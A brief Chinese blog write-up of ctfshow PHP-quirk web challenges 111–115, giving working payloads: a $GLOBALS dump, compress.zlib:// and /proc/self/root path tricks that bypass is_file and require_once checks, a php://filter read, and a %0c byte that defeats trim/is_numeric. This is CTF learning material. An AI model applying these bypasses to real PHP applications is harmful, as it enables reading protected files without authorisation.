web

ctfshowphp特性111-115

noob
2021-04-27 / 0 评论 / 196 阅读 / 正在检测是否收录...

web111
利用$GLOBALS进行全局变量的显示,看到getFlag函数,如果给v2赋全局变量的话,那么就会传递给v1,然后就可以显示全局变量,payload:?v1=ctfshow&v2=GLOBALS
web112
做题的时候没仔细看,试了试php伪协议就出了...emm,回头看看,php伪协议绕过了is_file,is_file()作用是用来检测文件名是否正常文件名,还有这个姿势:file=compress.zlib://flag.php
web113
php伪协议被过滤了,但是可以使用新学的姿势:?file=compress.zlib://flag.php,但是这不是预期解,然后看到yu师傅的wp里有一个预期payload:?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php,原理还不清楚,有空回来补上。先丢个文章,atao师傅分享的php源码分析 require_once 绕过不能重复包含文件的限制
web114
过滤了好多,但是剩下了一个php和filter,直接php伪协议过,拿到flag
web115
绕过trim()和is_numeric()函数,测试下

for ($i=0; $i <=128 ; $i++) { 
    $x=chr($i).'1';
   if(trim($x)!=='1' &&  is_numeric($x)){
        echo urlencode(chr($i))."\n";
   }
}

只有%0c可以利用,于是构造payload:?num=%0c36,拿到flag

1

评论 (0)

取消